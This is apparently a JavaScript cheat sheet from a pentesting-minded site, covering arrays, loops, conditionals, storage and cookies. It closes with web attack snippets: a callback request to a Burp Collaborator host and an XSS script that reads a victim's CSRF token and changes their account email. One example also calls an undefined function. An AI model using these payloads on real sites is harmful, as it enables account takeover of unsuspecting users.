Javascript Cheat Sheet

Cheat sheet and tricks for the Javascript programming language.

Javascript in 14 minutes (interactive tutorial)
Debug JavaScript

💡 TypeScript (.ts) is a superset of JavaScript. It is the default language for development of Angular2 application.

Deobfuscator

http://jsfiddle.net/E4b5d/1/

Examples

💡 Use an online IDE to test.

Within HTML

<html>
<head>
<script>console.log('test');</script>
</head>
<body></body>
</html>

Date

<a onmouseover="alert(new Date())">ALERT</a>

Array

# Array of 3 strings
alert(['What', 'is', 'up'])

# Array of 3 different types
alert([2 + 5, 'samurai', true])

var my_things = [2 + 5, 'samurai', true];
my_things.push('new item');
alert(my_things);

Variables

var my_things = [2 + 5, 'samurai', true];

IF STATEMENT

if (window.location.hostname == 'lisandre.com') {
  alert('Welcome!')
}

if (window.location.hostname != 'lisandre.com') {
  alert(':(')
}

if (window.location.hostname == 'lisandre.com') {
  alert('Welcome!')
} else {
  alert(':(')
}

if (window.innerWidth > 2000) {
  alert('Big')
} else if (window.innerWidth < 600) {
  alert('Mobile phone')
} else {
  alert('OK')
}

(condition) ? "valueIfTrue" : "valueIfFalse";

Loops

for (var i = 0; i < 3; i++) {
  alert(i);
}

var my_things = [2 + 5, 'samurai', true];
for (var i = 0; i < my_things.length; i++) {
  alert(my_things[i]);
}

var my_things = [2 + 5, 'samurai', true];
my_things.forEach(function(item) {
  alert(item);
});

Session storage

sessionStorage.setItem("myprecious", "true");

sessionStorage.getItem("myprecious");

Cookies

Create a new cookie or overwrite if already existing (will keep the others):

document.cookie = "cookieName=cookie value";

Display all cookies:

document.cookie

Extract one cookie:

document.cookie.match(`(^|;\\s*)cookieName=([^;]*)` || [])[2];

Functions

function hello(name) {
  var message = 'Hello ' + name;
  alert(message);
}
greet('Lisandre');

Pasting this code in the DevTools->Console will output “Hello World”:

function hello(message) {
    return message;
}

hello("Hello World");

Redirection to a site

<script>window.location.href="https://loremflickr.com/320/240/alpaca"</script>

Send HTTP request

<script>
    var request = new XMLHttpRequest();
    request.open("GET", "https://<BURP COLLABORATOR ID>.oastify.com/", true);
    request.send();
</script>

XSS with CSRF:

<script>
    var request = new XMLHttpRequest();
    request.onload = handleResponse;
    request.open('GET','/my-account',true); // Get the CSRF token
    request.send();

    function handleResponse() {
        // Extract the CSRF token
        var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];

        // Send a POST request to execute the CSRF
        var request2 = new XMLHttpRequest();
        request2.open('POST', '/my-account/change-email', true);
        request2.send('email=CSRF@example.com&csrf='+token);
    };
</script>